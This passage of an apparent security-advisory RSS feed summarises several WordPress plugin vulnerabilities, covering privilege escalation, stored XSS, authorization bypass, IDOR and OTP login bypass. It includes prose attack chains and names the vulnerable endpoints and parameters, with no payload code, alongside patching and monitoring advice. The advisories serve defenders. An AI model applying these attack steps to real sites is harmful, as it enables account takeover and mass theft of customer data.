]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>PilotPress Plugin for WordPress Privilege Escalation via Account Takeover</title><link>https://feed.craftedsignal.io/briefs/2026-10-pilotpress-privilege-escalation/</link><pubDate>Fri, 16 Oct 2026 06:28:37 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-pilotpress-privilege-escalation/</guid><description>The PilotPress WordPress plugin (&lt;= 2.0.43) contains a logic flaw in the update_cc_details() AJAX handler that allows an authenticated attacker to trigger an administrative account takeover.</description><content:encoded><![CDATA[<p>The PilotPress plugin for WordPress, in versions up to and including 2.0.43, is vulnerable to a privilege escalation attack that leads to full administrative account takeover. The flaw exists within the update_cc_details() AJAX handler. When an attacker-supplied username is submitted, the plugin forwards the request to the ONTRAPORT service via an API call before verifying if the username already exists locally within the WordPress database. If a collision is detected, the plugin fails to roll back the remote change on the ONTRAPORT service, resulting in a misaligned state where the remote contact is linked to an existing WordPress administrator account. This vulnerability allows an authenticated attacker with at least Subscriber-level access to synchronize their own password with an administrator account, ultimately resulting in the issuance of an administrative authentication cookie by the WordPress core.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker authenticates to the target WordPress site with a valid Subscriber-level account and obtains a valid Customer Center nonce.</li>
<li>Attacker invokes the <code>update_cc_details()</code> AJAX handler, providing a <code>username</code> parameter that matches an existing WordPress Administrator login.</li>
<li>The plugin executes <code>api_call('update_cc_details', ...)</code> to the ONTRAPORT service, successfully renaming the remote contact.</li>
<li>The plugin subsequently identifies a local collision via <code>username_exists()</code> but fails to revert the change made in step 3.</li>
<li>Attacker attempts to log in using the targeted Administrator's username and the attacker's own password.</li>
<li>The <code>user_login()</code> hook triggers <code>wp_authenticate</code>, validating credentials against ONTRAPORT.</li>
<li>The system retrieves the local administrator's user row via <code>get_user_by('login', $username)</code>.</li>
<li><code>wp_set_password()</code> is executed against the Administrator's user ID, granting the attacker a full administrative session.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-85659 allows an attacker with low-privileged access (e.g., Subscriber) to escalate privileges to Administrator. This grants the attacker full control over the WordPress instance, including the ability to install malicious plugins, modify content, extract sensitive database information, or execute arbitrary code on the server, potentially leading to a full system compromise.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the PilotPress plugin to the latest version, ensuring the installation is patched beyond version 2.0.43.</li>
<li>Audit WordPress user activity logs for suspicious account modifications or unexpected changes in administrator-level access.</li>
<li>Review administrative user accounts for recent password changes that do not correspond with known authorized administrative actions.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>privilege-escalation</category><category>vulnerability</category></item><item><title>Stored Cross-Site Scripting in NotificationX Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-109513/</link><pubDate>Fri, 16 Oct 2026 06:26:56 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-109513/</guid><description>The NotificationX plugin for WordPress contains a Stored Cross-Site Scripting vulnerability in the name parameter, allowing unauthenticated attackers to execute arbitrary web scripts.</description><content:encoded><![CDATA[<p>The NotificationX plugin for WordPress (versions 3.3.3 and earlier) is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping within the 'name' parameter. This flaw allows unauthenticated attackers to inject malicious scripts into the application. The vulnerability is triggered when an administrator enables a WordPress.org Reviews campaign and utilizes the 'notificationx-pro/notificationx' dynamic block on a public-facing page. If successful, the injected script executes in the context of the user viewing the impacted page, potentially leading to unauthorized actions, session hijacking, or credential theft. This vulnerability is particularly impactful because the injection vector exists within a standard, documented plugin workflow.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows unauthenticated attackers to achieve Stored XSS, which can be leveraged to execute arbitrary JavaScript in the browsers of users viewing the compromised notification. This can result in session token theft, unauthorized administrative actions, or the redirection of users to malicious domains. Given the nature of notification plugins, victims may include site administrators and customers, increasing the potential for account takeover or large-scale user impact depending on the site traffic.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the NotificationX plugin to the latest version, which includes patches for the input sanitization flaw in the name parameter.</li>
<li>Audit all pages currently utilizing the 'notificationx-pro/notificationx' dynamic block for signs of unauthorized script injection.</li>
<li>Review administrative configurations for the WordPress.org Reviews campaign to ensure that dynamic blocks are not exposed unnecessarily if not actively managed.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored Cross-Site Scripting in Salon Booking System Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-salon-booking-xss/</link><pubDate>Fri, 16 Oct 2026 06:26:47 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-salon-booking-xss/</guid><description>An unauthenticated Stored XSS vulnerability in the Salon Booking System WordPress plugin allows attackers to inject malicious scripts into checkout fields.</description><content:encoded><![CDATA[<p>The Salon Booking System - Appointment Booking for Salons, Barbershops &amp; Spas plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'sln[&lt;checkout-field-key&gt;]' parameter. This vulnerability affects all versions up to and including 10.31.9. The flaw exists due to insufficient input sanitization and output escaping of user-provided data within custom checkout fields. An unauthenticated attacker can exploit this by injecting arbitrary web scripts into pages that utilize these fields. Successful exploitation occurs when a site administrator has configured at least one custom checkout field of type Html or File. When a user subsequently accesses the affected page, the injected script executes in the user's browser context, potentially allowing session hijacking, unauthorized actions, or further compromise of the victim's interaction with the site.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability poses a significant risk to WordPress sites utilizing the affected plugin for booking management. Successful exploitation allows for the execution of arbitrary JavaScript in the context of site users or administrators. This could lead to the theft of session cookies, administrative account takeover, or redirection of users to malicious third-party sites. Given the plugin's function as a booking system, high-traffic sites managing customer data are primary targets.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the Salon Booking System - Appointment Booking for Salons, Barbershops &amp; Spas plugin to a version beyond 10.31.9, once a patch is available.</li>
<li>Audit existing custom checkout fields configured within the plugin to identify and remove any suspicious content or unexpected scripts.</li>
<li>Implement or strengthen Content Security Policy (CSP) headers on WordPress sites to mitigate the impact of injected malicious scripts.</li>
<li>Monitor web access logs for anomalous POST requests directed at plugin-specific booking endpoints that contain script-like characters or payloads.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>xss</category><category>wordpress</category><category>cve-2026-109232</category></item><item><title>Stored DOM-Based Cross-Site Scripting in SiteOrigin CSS</title><link>https://feed.craftedsignal.io/briefs/2026-10-siteorigin-css-xss/</link><pubDate>Fri, 16 Oct 2026 06:26:38 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-siteorigin-css-xss/</guid><description>The SiteOrigin CSS WordPress plugin contains a stored DOM-based XSS vulnerability via the 'url' parameter, allowing unauthenticated attackers to execute arbitrary web scripts.</description><content:encoded><![CDATA[<p>The SiteOrigin CSS plugin for WordPress (versions 1.6.7 and prior) contains a stored DOM-based Cross-Site Scripting (XSS) vulnerability. The flaw exists due to insufficient sanitization of the comment_author_url parameter. Attackers can leverage the WordPress esc_url() function's behavior of preserving HTML entity-encoded characters to bypass intended input protections. By injecting crafted entity-encoded payloads into the 'Website' field of a comment, an unauthenticated attacker can ensure the malicious script is stored in the database. When the page is subsequently rendered, the browser performs a DOM-decode operation, executing the injected markup. This poses a significant risk as it allows for unauthorized script execution in the context of any user session that visits the compromised page, potentially leading to session hijacking or unauthorized administrative actions.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the victim's browser. This can lead to account takeover, session theft, or the execution of malicious actions within the WordPress dashboard if an administrator views the crafted comment. The vulnerability affects all users running SiteOrigin CSS version 1.6.7 or earlier on their WordPress installations.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Update the SiteOrigin CSS plugin to the latest version (post-1.6.7) to resolve the input sanitization flaw. Monitor web server logs for HTTP POST requests directed toward comment submission endpoints that contain unusually long or character-encoded 'url' or 'comment_author_url' parameters.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>xss</category><category>web-application</category><category>wordpress</category></item><item><title>Stored Cross-Site Scripting in Simply Schedule Appointments WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-104000-xss/</link><pubDate>Fri, 16 Oct 2026 06:26:25 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-104000-xss/</guid><description>The Simply Schedule Appointments WordPress plugin is vulnerable to stored XSS via the 'status' parameter, allowing unauthenticated attackers to execute arbitrary scripts in an administrator's browser session.</description><content:encoded><![CDATA[<p>The Simply Schedule Appointments plugin for WordPress (versions 1.6.12.35 and earlier) contains a critical stored Cross-Site Scripting (XSS) vulnerability due to improper input sanitization and output escaping on the 'status' parameter. Unauthenticated attackers can inject malicious JavaScript into the application, which is then stored within the plugin's debug logs. Because debug logging is enabled by default and the logs are viewable by anyone possessing the site-wide Support PIN, the injected script executes within the context of an administrator's browser session. This vulnerability poses a significant risk to the integrity of the WordPress administrative interface, as an attacker could potentially capture sensitive session data or perform unauthorized administrative actions during troubleshooting workflows.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary web scripts in the browser of a victim, typically an administrator. This can lead to full compromise of the administrative interface, unauthorized site configuration changes, or session hijacking, impacting the security of any WordPress site utilizing the affected version of the Simply Schedule Appointments plugin.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the Simply Schedule Appointments plugin to a version released after 1.6.12.35 to remediate the lack of input sanitization.</li>
<li>Audit existing debug logs for suspicious script tags or obfuscated JavaScript payloads if the site has been exposed to the internet.</li>
<li>Disable default debug logging if it is not required for active troubleshooting to reduce the storage of potential malicious payloads.</li>
<li>Rotate the WordPress AUTH_SALT to invalidate existing Support PINs if there is reason to believe the site was accessed by unauthorized parties.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>xss</category><category>web-vulnerability</category><category>wordpress</category><category>cve-2026-104000</category></item><item><title>Stored XSS via File Upload in Ultra Addons for Contact Form 7</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-103999/</link><pubDate>Fri, 16 Oct 2026 06:26:18 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-103999/</guid><description>An unauthenticated stored XSS vulnerability in Ultra Addons for Contact Form 7 (&lt;= 3.5.54) allows attackers to bypass file extension filters and execute arbitrary JavaScript.</description><content:encoded><![CDATA[<p>The Ultra Addons for Contact Form 7 plugin for WordPress is susceptible to a Stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-103999. The flaw exists due to insufficient input sanitization and output escaping during the file upload process in versions 3.5.54 and earlier. An unauthenticated attacker can circumvent the plugin's file extension blocklist by uploading text-based files, such as .txt, .csv, .vtt, .srt, or .asc, that contain embedded malicious HTML or JavaScript payloads. Because the plugin logic only validates the file extension and classifies the content as text/plain without inspecting the actual byte-level content or sanitizing the output, the injected scripts execute within the browser context of any user who accesses the compromised page. This vulnerability poses a significant risk for session hijacking, unauthorized actions on behalf of site administrators, or the redirection of site visitors to malicious content.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary web scripts in the context of the WordPress site. This can lead to the theft of session cookies, modification of site content, or the execution of unauthorized administrative actions, affecting any user who views an injected page.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the Ultra Addons for Contact Form 7 plugin to a version released after 3.5.54 immediately to remediate CVE-2026-103999.</li>
<li>Implement strict Content Security Policy (CSP) headers to mitigate the impact of XSS by restricting the execution of inline scripts and unauthorized external domains.</li>
<li>Enable server-side MIME type verification for all user-uploaded files to ensure that the actual file content matches the expected file type, rather than relying solely on file extensions.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored Cross-Site Scripting in User Profile Builder Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-100186-xss/</link><pubDate>Fri, 16 Oct 2026 06:26:09 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-100186-xss/</guid><description>The User Profile Builder plugin for WordPress is vulnerable to unauthenticated stored XSS in the 'First Name' field when Email Confirmation is enabled, allowing script injection into user profiles.</description><content:encoded><![CDATA[<p>The User Profile Builder plugin for WordPress, specifically versions up to and including 4.0.3, contains a high-severity Stored Cross-Site Scripting (XSS) vulnerability tracked as CVE-2026-100186. The flaw stems from inadequate input sanitization and output escaping within the 'First Name' user registration field. An unauthenticated attacker can exploit this by injecting malicious JavaScript into the first name field during the registration process, provided that the 'Email Confirmation' feature is currently enabled within the plugin's settings.</p>
<p>When successful, the injected script is stored in the application database and subsequently executed in the browser of any user who accesses the injected page, such as administrators or other users viewing profile information. This allows attackers to perform actions on behalf of the victim, steal session cookies, or redirect users to malicious domains, posing a significant risk to site integrity and user data.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated attackers to execute arbitrary JavaScript in the context of other users' browsers. This can lead to unauthorized account access, session hijacking, and the potential compromise of administrative accounts if an administrator views the profile of an attacker-controlled user. The scope is limited to WordPress installations utilizing the Profile Builder plugin with specific configuration settings enabled.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the immediate update of the User Profile Builder plugin to the latest patched version available. Ensure that all security plugins are configured to monitor for suspicious input in registration forms. Review user management logs to identify any accounts created with anomalous first name patterns or script characters.</p>
<ul>
<li>Update the User Profile Builder plugin to the version containing the security fix for CVE-2026-100186 immediately.</li>
<li>Disable the 'Email Confirmation' feature in the Profile Builder settings as a temporary mitigation until the plugin can be patched.</li>
<li>Monitor web application logs for HTTP POST requests to registration endpoints containing script tags, JavaScript events, or HTML entities.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Privilege Escalation in Nexter Extension WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-nexter-extension-privesc/</link><pubDate>Fri, 16 Oct 2026 06:26:03 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-nexter-extension-privesc/</guid><description>The Nexter Extension plugin for WordPress is vulnerable to privilege escalation (CVE-2026-111114) allowing authenticated users to restore elevated roles due to improper state cleanup during bulk demotions.</description><content:encoded><![CDATA[<p>The Nexter Extension - Security, Performance, Code Snippets &amp; Site Toolkit plugin for WordPress is vulnerable to privilege escalation in all versions up to and including 4.7.11 (CVE-2026-111114). The vulnerability resides in the role switcher functionality, specifically within the <code>role_switcher_to_view_admin_as()</code> function, which lacks appropriate nonce and capability checks.</p>
<p>The flaw is compounded by an inadequate cleanup mechanism in the <code>profile_update</code> hook. When a user is demoted from Administrator using the bulk role-change control in <code>wp-admin/users.php</code>, the plugin fails to clear the <code>nxtext_view_admin_original_role</code> user meta. Because this bypasses the standard <code>profile_update</code> hook, the stale administrator role persists in the user profile. Authenticated users who were previously administrators and demoted via this specific bulk path can trigger the <code>/?reset-view</code> handler to restore their administrator privileges, granting them unauthorized full access to the WordPress environment.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows a user with Subscriber-level access or higher to escalate their privileges to Administrator. This impact is contingent on the attacker having previously held Administrator status and having been demoted specifically via the WordPress bulk user management interface. This vulnerability affects any WordPress site utilizing the Nexter Extension plugin (&lt;= 4.7.11).</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the Nexter Extension plugin to a version addressing CVE-2026-111114 immediately.</li>
<li>Audit the <code>wp_usermeta</code> table for suspicious entries in the <code>nxtext_view_admin_original_role</code> column, particularly for users who should not currently possess administrative privileges.</li>
<li>Restrict administrative access to the WordPress bulk user management interface to trusted personnel until the plugin is patched.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>privilege-escalation</category><category>vulnerability</category></item><item><title>Authorization Bypass in Klarna for WooCommerce Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-klarna-woocommerece-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 06:25:56 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-klarna-woocommerece-auth-bypass/</guid><description>An authorization bypass vulnerability in the Klarna for WooCommerce plugin allows unauthenticated attackers to enumerate store orders and exfiltrate customer PII via the order-pay endpoint.</description><content:encoded><![CDATA[<p>The Klarna for WooCommerce plugin for WordPress, in versions up to and including 4.13.3, contains a critical authorization bypass vulnerability (CVE-2026-110590). The flaw stems from the plugin's failure to verify user authorization before returning order details. Unauthenticated attackers can exploit this by sending crafted GET requests to the WooCommerce order-pay endpoint. The server responds by emitting sensitive customer PII - including full names, email addresses, phone numbers, and physical billing/shipping addresses - directly into the HTML source code within the 'klarna_payments_params' JavaScript variable. Because WooCommerce utilizes sequential integer-based order IDs, an attacker can trivially enumerate every order in a vulnerable store without needing authentication or a valid 'order_key'. This vulnerability poses a significant risk for mass data harvesting and privacy breaches for any merchant utilizing this plugin.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a WordPress site running the Klarna for WooCommerce plugin (version &lt;= 4.13.3).</li>
<li>Attacker probes the '/checkout/order-pay/' endpoint to confirm accessibility.</li>
<li>Attacker uses an automated script to increment sequential order IDs (e.g., /checkout/order-pay/1001, /checkout/order-pay/1002).</li>
<li>The vulnerable plugin processes the request without validating if the current session belongs to the order owner.</li>
<li>The server returns a 200 OK response containing the order page HTML.</li>
<li>Attacker scrapes the 'klarna_payments_params' JavaScript variable from the response body.</li>
<li>Attacker extracts PII (names, addresses, email, phone) from the scraped JSON-formatted variable.</li>
<li>Attacker compiles the enumerated records for exfiltration.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an unauthenticated attacker to scrape the entire order history of a WooCommerce store. This results in the exposure of extensive customer PII, including names, contact information, and physical addresses. With the increasing reliance on e-commerce, such a mass-data leak impacts customer privacy, violates compliance requirements (such as GDPR or CCPA), and can lead to secondary phishing or fraud attacks against the affected customers.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the Klarna for WooCommerce plugin to the latest version (patch for CVE-2026-110590) immediately.</li>
<li>Monitor web server logs for high-frequency GET requests to '/checkout/order-pay/' originating from single IP addresses.</li>
<li>Review web application firewall (WAF) logs for unauthorized access to order-pay paths and set rate-limiting policies for these endpoints.</li>
<li>Deploy the Sigma rule below to detect automated enumeration attempts against the checkout/order-pay infrastructure.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>privacy</category><category>vulnerability</category></item><item><title>Privilege Escalation in InstaWP Connect WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-instawp-privilege-escalation/</link><pubDate>Fri, 16 Oct 2026 06:25:39 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-instawp-privilege-escalation/</guid><description>The InstaWP Connect plugin for WordPress, versions 0.1.4.1 and earlier, contains a privilege escalation vulnerability allowing authenticated users to extract the master API key and mint administrator session tokens.</description><content:encoded><![CDATA[<p>InstaWP Connect versions 0.1.4.1 and earlier are vulnerable to a critical privilege escalation flaw (CVE-2026-109400). The vulnerability stems from insecure registration of administrative pages via <code>add_management_page()</code>, which improperly relies on roles as capabilities. Combined with a lack of authorization checks in <code>generate_section_field()</code>, the plugin displays the site's plaintext master API key in the HTML source of the settings page to any user assigned to the plugin's Sync Tab Access list.</p>
<p>An authenticated attacker - including those with low-level subscriber access - can extract this key, calculate the SHA-256-derived secret, and authenticate against the plugin's REST API endpoint. By interacting with the <code>POST /wp-json/instawp-connect/v2/auto-login</code> endpoint, the attacker can generate a single-use login URL, granting them full administrative access to the WordPress site. This vulnerability is active in configurations where an administrator has included lower-privileged roles within the plugin settings' sync access list.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in full administrative compromise of the affected WordPress site. This allows attackers to install malicious plugins, exfiltrate sensitive site data, modify content, and perform further post-exploitation activities within the environment. Any WordPress site currently using InstaWP Connect 0.1.4.1 or earlier that has configured sync tab access for roles other than 'administrator' is at risk of unauthorized administrative session creation.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the InstaWP Connect plugin to the latest version that patches CVE-2026-109400 immediately.</li>
<li>Restrict Sync Tab Access roles in the plugin settings to 'administrator' only, ensuring no lower-privileged roles have access to the plugin settings page.</li>
<li>Monitor webserver access logs for anomalous POST requests to the <code>/wp-json/instawp-connect/v2/auto-login</code> endpoint, particularly those originating from user accounts without administrator privileges.</li>
<li>Perform an audit of current WordPress user roles and verify that the plugin settings do not grant administrative access to non-admin users.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>privilege-escalation</category><category>web-application</category><category>cve-2026-109400</category></item><item><title>Arbitrary File Deletion in Groundhogg WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-groundhogg-file-deletion/</link><pubDate>Fri, 16 Oct 2026 06:25:32 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-groundhogg-file-deletion/</guid><description>The Groundhogg WordPress plugin contains an arbitrary file deletion vulnerability in the copy_file function that allows authenticated users with specific capabilities to remove critical server files.</description><content:encoded><![CDATA[<p>Groundhogg - CRM, Newsletters, and Marketing Automation plugin for WordPress is susceptible to an arbitrary file deletion vulnerability (CVE-2026-109221). The issue stems from insufficient input validation within the 'copy_file' function in plugin versions up to and including 4.9.3. The vulnerability is accessible to authenticated users possessing the 'import_contacts' capability, a permission granted by default to the 'Sales Representative' role. By manipulating file paths, an attacker can delete sensitive files from the WordPress installation directory. Successful exploitation allows for the deletion of critical files such as 'wp-config.php', which can be leveraged to reset the installation process or facilitate remote code execution by bypassing security configurations. Defenders should prioritize auditing the permissions associated with the 'Sales Representative' role and patching to the version addressing this path validation flaw.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows authenticated attackers with limited administrative privileges to impact the integrity and availability of the WordPress site. Deletion of 'wp-config.php' forces the application to return to an uninitialized state, permitting unauthorized attackers to reconfigure the database connection and take full control of the web application and underlying server environment.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Patch the Groundhogg plugin to the latest version immediately to resolve the path validation flaw in 'copy_file'.</li>
<li>Audit WordPress user roles and capabilities to identify and restrict accounts assigned the 'Sales Representative' role or the 'import_contacts' capability.</li>
<li>Monitor web server access logs for anomalous POST requests targeting the plugin's file manipulation endpoints.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>wordpress</category><category>cve-2026-109221</category></item><item><title>Sensitive Information Exposure in Modula Image Gallery Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-modula-gallery-exposure/</link><pubDate>Fri, 16 Oct 2026 06:25:22 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-modula-gallery-exposure/</guid><description>The Modula Image Gallery plugin for WordPress is vulnerable to unauthenticated information exposure via the REST API, allowing attackers to retrieve plaintext credentials for password-protected galleries.</description><content:encoded><![CDATA[<p>The Modula Image Gallery - Photo Grid &amp; Video Gallery plugin for WordPress (versions up to and including 3.0.11) contains a sensitive information exposure vulnerability identified as CVE-2026-107659. The issue exists due to inconsistent REST API security controls. While the plugin correctly redacts sensitive data in its own custom API endpoint (/wp-json/modula/v2/gallery/{id}/settings) via the redact_settings_for_public() function, it fails to implement the same protection for the core WordPress REST API endpoint (/wp-json/wp/v2/modula-gallery/{id}).</p>
<p>Because the plugin registers its custom post type with 'show_in_rest' set to true, the core WordPress API exposes the plugin's metadata. Unauthenticated attackers can query this endpoint to retrieve the 'modulaSettings' field, which contains plaintext usernames and passwords used for password-protecting galleries. This exposure allows unauthorized access to private gallery content if those credentials are reused elsewhere. Defenders should monitor for unauthenticated requests targeting the vulnerable REST API endpoints.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated attackers to exfiltrate plaintext credentials (usernames and passwords) associated with password-protected galleries. This can lead to unauthorized access to gallery contents and potential credential stuffing attacks if users reuse these passwords on other systems. Given the prevalence of WordPress plugins in enterprise environments, the exposure of these credentials creates a significant risk of data breach and lateral movement.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the Modula Image Gallery - Photo Grid &amp; Video Gallery plugin to the latest version immediately once a patch is released (version &gt; 3.0.11).</li>
<li>Monitor web server logs for unauthenticated GET requests targeting /wp-json/wp/v2/modula-gallery/ that return a 200 OK status.</li>
<li>Audit existing WordPress installations to identify and remove stored credentials in gallery settings if they have been exposed.</li>
<li>Block or restrict access to the WordPress REST API for untrusted IP ranges if the functionality is not required globally.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>information-disclosure</category><category>rest-api</category><category>vulnerability</category></item><item><title>Authentication Bypass in miniOrange OTP Login Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-miniorange-otp-bypass/</link><pubDate>Fri, 16 Oct 2026 06:25:14 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-miniorange-otp-bypass/</guid><description>An authentication bypass vulnerability in the miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress allows unauthenticated attackers to hijack user sessions.</description><content:encoded><![CDATA[<p>The miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress contains an authentication bypass vulnerability, assigned CVE-2026-103895, affecting all versions up to and including 5.5.8. The flaw resides in the <code>mo_by_pass_login()</code> function. The vulnerability stems from the improper handling of the Delay OTP grace flag (<code>mov_last_verified_dttm</code>), which is stored in the WordPress <code>user_meta</code> table keyed only by user ID. This metadata lacks binding to specific session tokens, IP addresses, or device identifiers.</p>
<p>When a site is configured with OTP-only login (<code>wp_login_skip_password=1</code>) and Delay OTP Verification (<code>wp_login_delay_otp=1</code>), an attacker can trigger the <code>mo_delay_otp_process()</code> function to short-circuit the standard authentication workflow. By submitting a target username along with the <code>mo_wp_login_intent=otp</code> parameter and an arbitrary password, an attacker can inherit an existing user's grace period window, effectively logging in as that user without valid credentials. This impacts any user account, including administrators, provided they fall within the configured delay interval.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to achieve full account takeover of any WordPress user on the target site. Given the plugin's potential to affect administrator accounts, this vulnerability can lead to complete site compromise, including the execution of arbitrary code via administrative plugin or theme management, configuration changes, and data exfiltration.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the miniOrange OTP Login, Verification and SMS Notifications plugin to version 5.5.9 or later immediately to resolve CVE-2026-103895.</li>
<li>Monitor web server access logs for HTTP POST requests directed at the WordPress login interface containing the parameter <code>mo_wp_login_intent=otp</code>.</li>
<li>Disable <code>wp_login_skip_password</code> and <code>wp_login_delay_otp</code> settings in the plugin configuration as a temporary mitigation until the software is patched.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>plugin</category><category>authentication-bypass</category><category>cve-2026-103895</category></item><item><title>IDOR Vulnerability in FluentCart WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-fluentcart-idor/</link><pubDate>Fri, 16 Oct 2026 06:25:05 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-fluentcart-idor/</guid><description>The FluentCart plugin for WordPress up to version 1.7.0 contains an IDOR vulnerability allowing unauthenticated attackers to exfiltrate customer billing and shipping PII via sequential ID enumeration.</description><content:encoded><![CDATA[<p>The FluentCart WordPress plugin (version 1.7.0 and earlier) contains an Insecure Direct Object Reference (IDOR) vulnerability identified as CVE-2026-103525. The flaw resides in an unauthenticated AJAX entry point designed for order and address retrieval. Because the plugin lacks server-side authorization checks, it relies entirely on client-provided order_id and address_id parameters. An attacker can enumerate these identifiers by exploiting the sequential nature of AUTO_INCREMENT database keys. By cycling through these numerical values, an unauthenticated user can exfiltrate sensitive customer PII, including street addresses, phone numbers, company names, VAT numbers, and legal registration IDs. Although a soft rate limit of five requests per 60 seconds exists, it is insufficient to prevent automated enumeration of the database over time. This vulnerability poses a significant risk to customer privacy and regulatory compliance.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in the unauthorized mass exfiltration of sensitive customer PII. Victims include any WordPress e-commerce site utilizing the vulnerable FluentCart plugin versions. Exposed data encompasses physical addresses, contact information, and business-related tax documentation, potentially leading to identity theft, fraud, or violations of data protection regulations.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the FluentCart plugin to the latest available version beyond 1.7.0 immediately.</li>
<li>Implement web application firewall (WAF) rules to detect and block high-frequency sequential requests to the specific AJAX endpoints associated with this plugin.</li>
<li>Review web server access logs for anomalous, high-frequency POST or GET requests to the plugin's address/order retrieval AJAX URI patterns that result in HTTP 200 status codes but originate from distinct, unauthenticated sessions.</li>
<li>Monitor for enumeration patterns in traffic, specifically looking for increments in numerical URL parameters or query strings associated with order retrieval.</li>
</ul>
